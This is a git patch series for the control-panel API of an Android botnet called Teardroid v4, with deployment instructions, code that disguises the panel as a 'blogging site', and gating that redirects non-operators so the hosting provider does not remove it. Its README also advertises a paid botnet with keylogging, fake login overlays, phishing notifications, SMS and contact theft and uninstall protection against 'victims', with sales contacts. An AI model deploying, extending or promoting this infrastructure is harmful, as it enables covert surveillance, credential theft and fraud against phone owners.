From 8a131c28f8edf8cb923bec0db49a1d7b9fb9d6d7 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Tue, 12 Jul 2022 14:25:45 +0530 Subject: [PATCH 01/15] Update README.md --- README.md | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 471a1e1..1d36dec 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,32 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -You can host it on [deta.sh](https://deta.sh/) +### Deploy the Teardroid control panel -[![Deploy](https://button.deta.dev/1/svg)](https://go.deta.dev/deploy?repo=https://github.com/ScRiPt1337/Teardroidv4_api) +- Set up an account at [deta.sh](https://web.deta.sh/) +- Install [Deta Cli](https://docs.deta.sh/docs/cli/install) +- Logging in to Deta via the CLI +- Create a new Python Micro using the command below + +```bash +$ deta new --python teardroid_control # its will create an teardroid_control folder +``` + +- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below + +```bash +$ git clone https://github.com/ScRiPt1337/Teardroidv4_api +``` + +- Move all Teardroidv4_api Files to teardroid_control folder using the command below + +```bash +$ cd Teardroidv4_api +$ cp -r * ../teardroid_control/ +``` + +- Deploy the Control panel using the following command. + +```bash +$ deta deploy +``` From 022e8244a77e971514a7bc6b9fd02d3620f4476f Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Fri, 11 Nov 2022 18:42:26 +0530 Subject: [PATCH 02/15] updating title --- main.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/main.py b/main.py index adf2e2a..04d4331 100644 --- a/main.py +++ b/main.py @@ -13,10 +13,11 @@ app = FastAPI( - version="4.0", - title="Teardroid v2 - BOTNET", - description="Teardroid v2 - BOTNET", + version="5.0", + title="New blogging site", + description="New blogging site", redoc_url=None, + docs_url=None ) origins = ["*"] @@ -68,6 +69,6 @@ async def root(): return RedirectResponse("/v4/overview") -@app.get("/version") -async def version(): - return {"version": app.version} +# @app.get("/version") +# async def version(): +# return {"version": app.version} From 5b68cf9c692bf9e8a28b665c835ab5010401b164 Mon Sep 17 00:00:00 2001 From: Praise Christopher <81590267+krisdowis@users.noreply.github.com> Date: Mon, 21 Nov 2022 19:03:15 +0100 Subject: [PATCH 03/15] Update README.md add instructions on how to host on localhost --- README.md | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/README.md b/README.md index 1d36dec..9461946 100644 --- a/README.md +++ b/README.md @@ -34,3 +34,41 @@ $ cp -r * ../teardroid_control/ ```bash $ deta deploy ``` + +### Run control panel on your own server + +- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below + +```bash +$ git clone https://github.com/ScRiPt1337/Teardroidv4_api +``` + +- Install uvicorn + +```bash +$ sudo apt-get install uvicorn +$ python3 -m pip install uvicorn +``` + +- Change dir to Teardroidv4_api + +```bash +$ cd Teardroidv4_api +``` + +- Install all dependency + +```bash +$ pip install -r requirements.txt +``` + +- Run teardroid api + +```bash +$ screen +# press enter to go inside the screen session +$ uvicorn main:app --host 0.0.0.0 --port 80 +# now close your terminal windows and we are good to go +``` + +- Done From 48afcf21a3de66b27718aac433e1cb315c6f55bf Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Sun, 18 Dec 2022 00:11:03 +0530 Subject: [PATCH 04/15] Update README.md --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 9461946..08fe204 100644 --- a/README.md +++ b/README.md @@ -62,6 +62,18 @@ $ cd Teardroidv4_api $ pip install -r requirements.txt ``` +- Change project key to connect with database +- Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it +```bash +$ nano ./db/database.py +from deta import Deta +from os import getenv + +deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") +# replace getenv("DETA_PROJECT_KEY") with your deta.sh project key +# make sure your remove getenv +``` + - Run teardroid api ```bash From ab94f549a1c96591663de0eb06d7252ca1ad74d6 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Sun, 18 Dec 2022 00:17:08 +0530 Subject: [PATCH 05/15] Update README.md --- README.md | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 08fe204..9781509 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,18 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Deploy the Teardroid control panel +### Deploy the Teardroid control panel ( automatically ) ( recommend ) + +- Set up an account at [deta.sh](https://web.deta.sh/) +- Login into your account and go to settings ( [settings ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/deta_dash.png) | [create access token ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/token2.png) ) +- click on create access token and copy the access token +- run python3 setup.py +- it will ask you for the access token paste the access token. +- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/20507b2c-0668-4b21-913b-aeab369f0229.gif) +- Done and here is your control panel url. +- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/control_url.png) + +### Deploy the Teardroid control panel ( Manually ) - Set up an account at [deta.sh](https://web.deta.sh/) - Install [Deta Cli](https://docs.deta.sh/docs/cli/install) @@ -29,6 +40,12 @@ $ cd Teardroidv4_api $ cp -r * ../teardroid_control/ ``` +- Go back to the deta repo folder using the command below + +```bash +$ cd ../teardroid_control/ +``` + - Deploy the Control panel using the following command. ```bash From 1651f57c4e91a1b6430e0c384ffc6ebf3f82f1c1 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 02:21:24 +0530 Subject: [PATCH 06/15] added geo fencing --- db/__pycache__/database.cpython-310.pyc | Bin 830 -> 865 bytes db/database.py | 2 +- main.py | 19 ++++++++++++++---- routers/__pycache__/__init__.cpython-310.pyc | Bin 160 -> 162 bytes .../auth/__pycache__/__init__.cpython-310.pyc | Bin 165 -> 167 bytes routers/auth/__pycache__/auth.cpython-310.pyc | Bin 2126 -> 2052 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 167 -> 169 bytes .../client/__pycache__/client.cpython-310.pyc | Bin 2183 -> 2185 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 168 -> 170 bytes .../__pycache__/command.cpython-310.pyc | Bin 5293 -> 5295 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 173 -> 175 bytes .../__pycache__/notification.cpython-310.pyc | Bin 2661 -> 2663 bytes 12 files changed, 16 insertions(+), 5 deletions(-) diff --git a/db/__pycache__/database.cpython-310.pyc b/db/__pycache__/database.cpython-310.pyc index efec3fc30b9fe93a33296753458dcfbfc75111b4..876567994e94cb95fe5047dac92672a9467582ac 100644 GIT binary patch literal 865 zcmah|&2H2%5Vn(S{+ea^Iq(d*R9*fgDuk+bRggd{BtRf5(kjWAHfR&CY;Qz4f#AwJ zz_Aw&yaI2LYfqfHabhNgvPfNZBF~IHlkXeP$Z9x@8Oqm_Z{;V>*a>Y`#lg)EF7p@_ zFyM1mbHO?J&fKY8;c_N9xF5J+;KAS{6CU^wpdCO65n3N&*gzXV0z}6kDbl~h3lrJZ^ao^_+uG$h)f#9j^2yO<^@RbA%|tY?V-WFYwH z44k}+!M%KG57#3H6h_!Z_U{ljX%>cHZGguA(zdqaHxhm^w!p?V{69OH(g(e|xI1Pd}F+yjLq&&gFf4I?P-~m9T_| LPUwaneTnxQV%?>u literal 830 zcma)5!A{#i5Z$$%I5AF2Kf@OczEnsRYT9s0%Yh!KETm}dapM(nHeIi2!wE#cq35{odh4k(4uT*NwX@n8&+g2dH#@TG^*o01?dPpH=8RpFvnm!kuW*;7fB~Pf zg2$Y*jDvN_V+J-jUs-HH3)*OHaG`_Nfi8GxTd)B>+BWpwv!H*2C@kQ$Gt7*LgLM1T zi)eC|kG~AwMLTZ~N6{h`MpwK0lSCbT$R~r(C(&U%%2Uc)6&sy5xPKFU!@hIiKR8yf z4(fI~mD$W(S+xUH#d$5t?22g@BOCQ+FU(bug=MPc+=N4wRs|-M;Y6CeNtgK5QGs40&UF~b$3}|3`vV9&>MMNchRinsfjSL^JmJ)j}qIIYNjdwf!Ok^ zgJ<=#)i5kXhnjlTKB|A0aZ^vpxJXSV;*!>sYvKTE6`kOsSir diff --git a/db/database.py b/db/database.py index 03b4ec8..a452666 100644 --- a/db/database.py +++ b/db/database.py @@ -1,7 +1,7 @@ from deta import Deta from os import getenv -deta = Deta(getenv("DETA_PROJECT_KEY")) +deta = Deta(getenv("DETA_PROJECT_KEY")) def client_db(): diff --git a/main.py b/main.py index 04d4331..ce7484c 100644 --- a/main.py +++ b/main.py @@ -13,9 +13,6 @@ app = FastAPI( - version="5.0", - title="New blogging site", - description="New blogging site", redoc_url=None, docs_url=None ) @@ -41,7 +38,21 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -# callback to get your configuration +async def get_geo_location(ip): + try: + return requests.get('http://ip-api.com/json/' + ip).json()["countryCode"] + except: + return "IN" + + +@app.middleware('http') +async def validate_ip(request: Request, call_next): + user_code = await get_geo_location(ip) + if user_code == "DE": + return RedirectResponse("https://fly.io") + return await call_next(request) + + @AuthJWT.load_config def get_config(): return Settings() diff --git a/routers/__pycache__/__init__.cpython-310.pyc b/routers/__pycache__/__init__.cpython-310.pyc index 2d6d26526e6b6305df8ba87474021b0fced4420a..5fa866feebbba22bdb368b525af0c25eaaf2e62f 100644 GIT binary patch delta 83 zcmZ3$xQLM_pO=@50SG2~<|R+$v9@+~wu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA jC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4Edgnm*q{IaJ~te| delta 110 zcmZ3)xPXx-pO=@50SLG@JWZU)V;$+NpOK%Ns$ZO3lvz-s?~zfpP5o-6rWg-sjsJBlwVqsT2!nbAD@|*SrQ+wS5SG2!zMRBr8FnijuB{b KF%ytrVE_QiMI$Ew diff --git a/routers/auth/__pycache__/__init__.cpython-310.pyc b/routers/auth/__pycache__/__init__.cpython-310.pyc index 30e703bcb7b2067d999eab9eb63d759295293779..6468a933091de16c51888e0d19628793a504aaf3 100644 GIT binary patch delta 88 zcmZ3=xSWwEpO=@50SG2~<|R+$v3Brswu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA oC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4EdgmrEG@~1nb@iT0NQ{a=Kufz delta 86 zcmZ3^xRjA6pO=@50SNpTze}9RV{PZ5pOK%Ns$ZO3lvz-s?~zfpP5o-6rWg-sjsJBlwVqsT2!o`SXz>yKe1f_0JN4J(f|Me diff --git a/routers/auth/__pycache__/auth.cpython-310.pyc b/routers/auth/__pycache__/auth.cpython-310.pyc index 052ec4616dc6f4e8a1e7f1ef70452cf6d08257e3..30c6607ce67681fce8a3aa4ebaf7d6666991ed04 100644 GIT binary patch delta 1050 zcmZ8fOHb5L6u!6Z3}u+klmP?;d<{OT0Wrat7-M35ARA)@HB_6u-A1a zMpH6CfLs@KS&?<4Vo0`)_3qq_EhV7`>=g;Ukb}NZh7$7c&5EP)9Z|{832>mWEuf&R zj#(*?T?ChGSKCGChtjsFxXRh-hk;$GjE-2A#4f;~$}L+k1ShsL9a$-9#_$otRYlDx zTQCBnnlb<<7lb#q&)PjB?Y;AO{zeEPJRE+`*Th)8bpj}suII7Nt@x%5~by4{U*bL#tY|U?l)#)ng1X0y* z$EzBqTN_xUVEy#{$`a&+E%OqK$xma#E|9~su>XU3_EL$?I`4ll%0B+}1RqXnE15SZ z7G~%eiygTuo*A1WHeZX51i5D55P2;y=runXyOIa9AbK@=)+3bkUnS#1J#2h2(A5D6 zybRjOcXM*;sCeYmX)ah*!CH;086!Kg334QVP-YD*C#S4;`3Z9Au=`z^e6?QOXAYiX zI0}!a**wF*El39fRDP^#eh{cAs>RJU)xZqhP%pSyIGNNlBV)(K_yDzFJ){Yglby^( zIg@hH2f2VHazFKS#8j|h91-v>+6B->x| zX?3~4G<&d>2d&lZDzn>aHKQ1LleDJ)YSC4VieVzzx9Ux3udCa B?+^e0 delta 1143 zcmZ8fzi-<{6uu+%%d#X(vYfcF)HaP9n}bcjL7SxrP$WUq4nbOH;-b=gXN#67s_#xo z4K#28dB~C>AhLCc$4;5^PZTJSi9?Y!*@|wR`rcVd15@Cq_rCY>?)^Gx{?V+b^?Fs% z^YYc-Vg9t<>%Aoh1jvy{L?9&F&PXOs;3RJF^yc+rBFdwB(g+$-Ch!Th?zu8tYXzFzGF#CwdRtK;F6WBz}l|xx^K7^Pv#W}jWThfJU3tX`rfxc zq*J3Xuiv?U|K9DNBQ-H`I?lS%Yc&sbIu7?ns;|aT3JSAbc}2d-9?Cz}8XblV|K9Qk zX`*}`VLUPZtu&e@YHYNB5Szht&o?SWz%+&jJN$a~_?vSod7iss!J=2Xi_7$NPz)i7$0*q@55j1uRrI@KWA;j~ zh}G*0s7G>rm?JNKNdIS zPWHI?Y>`_wPaxYYb?cjagF945o`cu2?@Rvi7At%LubS5mADTX@pQbS?!2fgom^J6p zEKMi8WcUfkYIVTgSP=8{l0stdOA4&iK diff --git a/routers/client/__pycache__/client.cpython-310.pyc b/routers/client/__pycache__/client.cpython-310.pyc index 885702cfea689f0b7c1e0eee41cd82491516c01c..e443926679077c5805827c6e2c094ef4b108bcab 100644 GIT binary patch delta 195 zcmZn{>=fk9=jG*M0D_60dC7enc@3GJyqv9KLW@(2ierkCi!uvhT=J7kb5rw5ieua} zOFT-GVnR|Ai&Bd6GgHb;;u8xpWAtK*@=HrV8j^D|feK?L*D<#-MongANn})*oX&EK zQFXEtYbvASyBbi14ZAa=;p7JP f8PWnG=A0u|~{ZeVU>yfvAfC6Q5aawf|y zMzzTUqL0H)luvaoyD4LMH-XE+10?RL?#EZ p>oXcnZepLIpa@iTi=`mHxTHu8$Sl$X5n3R^2t-JO4fW-)0RRx5JKX>P diff --git a/routers/command/__pycache__/__init__.cpython-310.pyc b/routers/command/__pycache__/__init__.cpython-310.pyc index 3c0462de1c33cf6a8afa563c6a873dbc4e8a391f..3a246fe5642134f5a5c31d0529435f9ad54453fc 100644 GIT binary patch delta 91 zcmZ3%xQdY{pO=@50SG2~<|R+$v3B-#wu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA rC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4Edgmr&d<$F%u9)x*r5ObJxL%V delta 89 zcmZ3*xPp-zfpP5o-6rWg-sjsJBlwVqsT2!o`oS&PUn3tkIu}c8}5y~G0 diff --git a/routers/command/__pycache__/command.cpython-310.pyc b/routers/command/__pycache__/command.cpython-310.pyc index 2d0af08fb288e50b8cf8346a90ce568beaa5c119..b7639b0f9f109742dd15e46071b23deec6e54e2e 100644 GIT binary patch delta 96 zcmZ3hxn7empO=@50SG2~<|T_uY~<@;arSYxiU}=FEh>&FPAxSo+GpO=@50SG2~<|R+$vGxdZwu%WYPAw{qDNZiREQoQ*PcF?(%_}L6anCIA wC{2n9Nlh$DDay}GDKm*rEXa(}iz&)4EdgoB%P+}H%S=uz$;{7-nb@lU0PI5|WB>pF delta 94 zcmZ3_xR#M8pO=@50SHR#-X>1uv33j4&&bbB)h|vi$}A|+cgasK%}vcKDb`QVEXgQM w(l1F(EJ`WL&rB&Zicc)a)YsE5$}cTREh^T}%P+}H%S=uz$;{8wpV+Se0KV`cPXGV_ diff --git a/routers/notification/__pycache__/notification.cpython-310.pyc b/routers/notification/__pycache__/notification.cpython-310.pyc index 648bfe2889722828b301eeef4d22cf957dd0cdb4..da3d800afdffb6a96c57d40ef04a3279e6833ab3 100644 GIT binary patch delta 531 zcmZvYze__g5XVh_qX-iJPPU!oyXZ#9bG26NWjlM-qZkmx1eXc5w{d8|0`;ezDeCMZ= z`c6avJ`K}cehKF4)ByCuMKTgDu)K_Q~6;&yGqP;wXQ{;I9G+|$c~n-!xXz^XyXW7hQcOW*9#9070fWVRQCuY>>)(@4 Bc-#O0 delta 531 zcmaDZ@>GO3pO=@50SIP%`YgRc8nI2Z8&OyZrR15;VB2yuE~bYqFZb!sX3{@zyjF- zG?^b{8`z^DKVq7!&1uAFH93xRrk*-b{uXn3YDtj Date: Thu, 5 Jan 2023 03:28:49 +0530 Subject: [PATCH 07/15] old_code --- config.py | 1 + main.py | 20 +++++++------------- requirements.txt | 2 +- test/__init__.py | 0 test/test.py | 0 5 files changed, 9 insertions(+), 14 deletions(-) create mode 100644 config.py delete mode 100644 test/__init__.py delete mode 100644 test/test.py diff --git a/config.py b/config.py new file mode 100644 index 0000000..bd92e12 --- /dev/null +++ b/config.py @@ -0,0 +1 @@ +USER_AGENT = "hello" diff --git a/main.py b/main.py index ce7484c..3435cbd 100644 --- a/main.py +++ b/main.py @@ -10,6 +10,7 @@ from routers.command import command from routers.notification import notification from routers.auth import auth +from config import USER_AGENT app = FastAPI( @@ -38,19 +39,12 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -async def get_geo_location(ip): - try: - return requests.get('http://ip-api.com/json/' + ip).json()["countryCode"] - except: - return "IN" - - -@app.middleware('http') -async def validate_ip(request: Request, call_next): - user_code = await get_geo_location(ip) - if user_code == "DE": - return RedirectResponse("https://fly.io") - return await call_next(request) +# @app.middleware('http') +# async def validate_ip(request: Request, call_next): +# user_code = str(request.headers.get("user-agent")) +# if user_code != USER_AGENT: +# return RedirectResponse("https://fly.io") +# return await call_next(request) @AuthJWT.load_config diff --git a/requirements.txt b/requirements.txt index fd89d01..63f22d6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -fastapi +fastapi==0.79.0 deta python-multipart fastapi-jwt-auth \ No newline at end of file diff --git a/test/__init__.py b/test/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/test/test.py b/test/test.py deleted file mode 100644 index e69de29..0000000 From f5f36e04d0b19dc77b90fcb1dd3c42bb61f69d32 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 03:29:48 +0530 Subject: [PATCH 08/15] check useragent --- main.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/main.py b/main.py index 3435cbd..925e362 100644 --- a/main.py +++ b/main.py @@ -39,12 +39,12 @@ class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -# @app.middleware('http') -# async def validate_ip(request: Request, call_next): -# user_code = str(request.headers.get("user-agent")) -# if user_code != USER_AGENT: -# return RedirectResponse("https://fly.io") -# return await call_next(request) +@app.middleware('http') +async def validate_ip(request: Request, call_next): + user_code = str(request.headers.get("user-agent")) + if user_code != USER_AGENT: + return RedirectResponse("https://fly.io") + return await call_next(request) @AuthJWT.load_config From ab960a0ca8c35230689a3a8f2496dd2e48e4b328 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 18:04:21 +0530 Subject: [PATCH 09/15] update main --- main.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/main.py b/main.py index 925e362..ecd3be3 100644 --- a/main.py +++ b/main.py @@ -33,18 +33,18 @@ allow_methods=["*"], allow_headers=["*"], ) +REDIRCT_URL = "https://en.wikipedia.org/wiki/Special:Random?action=render" class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -@app.middleware('http') -async def validate_ip(request: Request, call_next): +async def check_agent(request: Request): user_code = str(request.headers.get("user-agent")) if user_code != USER_AGENT: - return RedirectResponse("https://fly.io") - return await call_next(request) + return True + return False @AuthJWT.load_config @@ -60,17 +60,23 @@ def authjwt_exception_handler(request: Request, exc: AuthJWTException): @app.exception_handler(StarletteHTTPException) async def custom_http_exception_handler(request, exc): if exc.status_code == 404: + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail}) @app.route("/v4") async def index(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) @app.get("/") -async def root(): +async def root(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return RedirectResponse("/v4/overview") From 6a7e69a2f71ade5af5be9748dad14378167d56ab Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Thu, 5 Jan 2023 21:07:01 +0530 Subject: [PATCH 10/15] update reasdme.md --- README.md | 65 +++++++++++++++++++------------------------------------ 1 file changed, 22 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index 9781509..f3ba9bb 100644 --- a/README.md +++ b/README.md @@ -1,56 +1,26 @@ # Teardroidv4_api + Teardroid v4 Botnet API This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Deploy the Teardroid control panel ( automatically ) ( recommend ) - -- Set up an account at [deta.sh](https://web.deta.sh/) -- Login into your account and go to settings ( [settings ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/deta_dash.png) | [create access token ](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/token2.png) ) -- click on create access token and copy the access token -- run python3 setup.py -- it will ask you for the access token paste the access token. -- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/20507b2c-0668-4b21-913b-aeab369f0229.gif) -- Done and here is your control panel url. -- ![TaskManager](https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/control_url.png) - -### Deploy the Teardroid control panel ( Manually ) +### Deploy the Teardroid control panel on deta.sh - Set up an account at [deta.sh](https://web.deta.sh/) -- Install [Deta Cli](https://docs.deta.sh/docs/cli/install) -- Logging in to Deta via the CLI -- Create a new Python Micro using the command below - -```bash -$ deta new --python teardroid_control # its will create an teardroid_control folder -``` +- [Click here](https://github.com/ScRiPt1337/Teardroidv4_api/fork) to fork this repo into your github account and click create fork +- Teardroidv4_api repo will be forked into your account +- Open the forked repo and click on config.py file and Change the value of "hello" to any user_agent or text you want +- https://go.deta.dev/deploy?repo=your-repo-url reaplce your-repo-url with the url of your forked repo and open it on browser +- and click deploy +- change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) +- DONE -- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below +#### Deploy video on deta.sh -```bash -$ git clone https://github.com/ScRiPt1337/Teardroidv4_api -``` - -- Move all Teardroidv4_api Files to teardroid_control folder using the command below - -```bash -$ cd Teardroidv4_api -$ cp -r * ../teardroid_control/ -``` - -- Go back to the deta repo folder using the command below - -```bash -$ cd ../teardroid_control/ -``` - -- Deploy the Control panel using the following command. - -```bash -$ deta deploy -``` +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/Animation.gif) ### Run control panel on your own server @@ -79,8 +49,9 @@ $ cd Teardroidv4_api $ pip install -r requirements.txt ``` -- Change project key to connect with database +- change project key to connect with database - Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it + ```bash $ nano ./db/database.py from deta import Deta @@ -91,6 +62,7 @@ deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") # make sure your remove getenv ``` +- open config.py and change the value of "hello" to any user_agent or text you want - Run teardroid api ```bash @@ -100,4 +72,11 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 # now close your terminal windows and we are good to go ``` +- Change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) - Done + +### IMPORTANT NOTICE + +- you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. +- its to make you the dashboard more secure and to protect it from geting auto deleted from deta.sh From ea864b12c2bb2039a1428afb5b2f8d521cac2c92 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Fri, 6 Jan 2023 12:23:37 +0530 Subject: [PATCH 11/15] Update README.md --- README.md | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) diff --git a/README.md b/README.md index f3ba9bb..0a3fb02 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,77 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) - Done +### Need something more advanced try ( scatter alfa ) + +[!["Logo"](https://external-content.duckduckgo.com/iu/?u=https://i.ibb.co/7kXYDks/20221028-233129-0000.png)](https://breached.vc/Thread-Selling-SCATTER-ALFA-ANDROID-BOTNET) + +##### REAL TIME COMMUNICATION BETWEEN BECON AND SERVER + +##### SUPPORT ALL THE LATEST VERSION OF ANDROID + +##### STEALTHY, RESILIENT AND COST-EFFECTIVE + +##### SAND-BOX AND EMULATOR DETECTION + +##### ADVANCED ATTACK TECHNIQUES + +##### UNKILLABLE AND UNINSTALLABLE + +##### INBUILT GEO FENCING + +##### EASY TO OPERATE + +##### STABLE BECON + +##### VNC + +##### O NETWORK TRAFFIC IN IDLE MODE + +### Dashboard + +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/scatter.png) + +!["dashboard"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/dashboard.png) + +### Special features + +- Forground service bypass scatter does not show any notification while running in background. +- Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. +- Does \_not_create network logs in idle mode only make HTTP connection when-command.is-executed. +- Android battery optimization bypass without any permission. + +### Features + +- Keylogger +- logs (log everything user click on) +- notification capture +- run ussd code +- fake notification attack +- injection +- popup fake login screen +- geo fencing +- dump sms calls contact apps +- download file +- shell command +- open url +- open apps +- auto allow permission +- uninstall protection (stop the victim from uninstalling the app) +- vnc +- take screenshot +- automatically take screenshot when user open any specific app +- block number ( you can block number from victim device so the number can't call the victim ) + +#### Interested in scatter alfa + +- Demo video available on my telegram channel => https://t.me/scatter1337 +- Pm me on telegram https://t.me/script1337 + +### Beware from scam + +- for paid project contact me on telegram +- I am only available on telegram and script1337 is my only account please double check the username + ### IMPORTANT NOTICE - you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. From 26a4634e5abfc9af66698ada487c7d1764533017 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 00:49:55 +0530 Subject: [PATCH 12/15] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 0a3fb02..472472f 100644 --- a/README.md +++ b/README.md @@ -136,6 +136,7 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - take screenshot - automatically take screenshot when user open any specific app - block number ( you can block number from victim device so the number can't call the victim ) +- wake up device and able to run for 1 to 3 hour with screen off #### Interested in scatter alfa From c3fd30eea7e052b26f104a2c6df1ef7ebe9ef95c Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 00:54:58 +0530 Subject: [PATCH 13/15] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 472472f..a5bb2fa 100644 --- a/README.md +++ b/README.md @@ -112,7 +112,7 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - Forground service bypass scatter does not show any notification while running in background. - Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. -- Does \_not_create network logs in idle mode only make HTTP connection when-command.is-executed. +- Does not create network logs and does not make http request in idle mode. - Android battery optimization bypass without any permission. ### Features From 69dd976fb558bb8cf8419146d504ba288e724751 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Wed, 25 Jan 2023 22:19:08 +0530 Subject: [PATCH 14/15] Update README.md --- README.md | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index a5bb2fa..3e45d54 100644 --- a/README.md +++ b/README.md @@ -117,25 +117,27 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 ### Features -- Keylogger +- Keylogger ( capture everything client type on there keyboard ) - logs (log everything user click on) -- notification capture -- run ussd code -- fake notification attack -- injection -- popup fake login screen +- notification capture ( capture all the notification client recive ) +- run ussd code ( run ussd code for call forwarding etc ) +- fake notification attack ( send phishing link using fake notification that look like is from facebook, microsoft etc ) +- injection ( add injection dynamically according to the installed apps on the client device ) +- popup fake login screen ( popup any page on clients home page without url bar or title bar (so the client will think its from google or any other app)) - geo fencing -- dump sms calls contact apps +- dump sms, calls, contacts, installed apps - download file - shell command -- open url -- open apps -- auto allow permission -- uninstall protection (stop the victim from uninstalling the app) +- open url ( open any url on browser ) +- open apps ( open any app on client device using there package name ) +- auto allow permission ( automatically grant all the run time permission ) +- uninstall protection (stop the victim from uninstalling the app or force stop the app) - vnc - take screenshot -- automatically take screenshot when user open any specific app +- automatically take screenshot when user open any specific app ( example: if you set it to whatsapp it will take screenshot of the client's whatsapp whenever client will open whatsapp and click anything like opening convo or clicking on the send button ) - block number ( you can block number from victim device so the number can't call the victim ) +- install any apk file in victim device +- uninstall any app from victim device - wake up device and able to run for 1 to 3 hour with screen off #### Interested in scatter alfa From 4ca5e0d6203ba95fbdc2b0c9516fd37a58b435a8 Mon Sep 17 00:00:00 2001 From: Gaurav 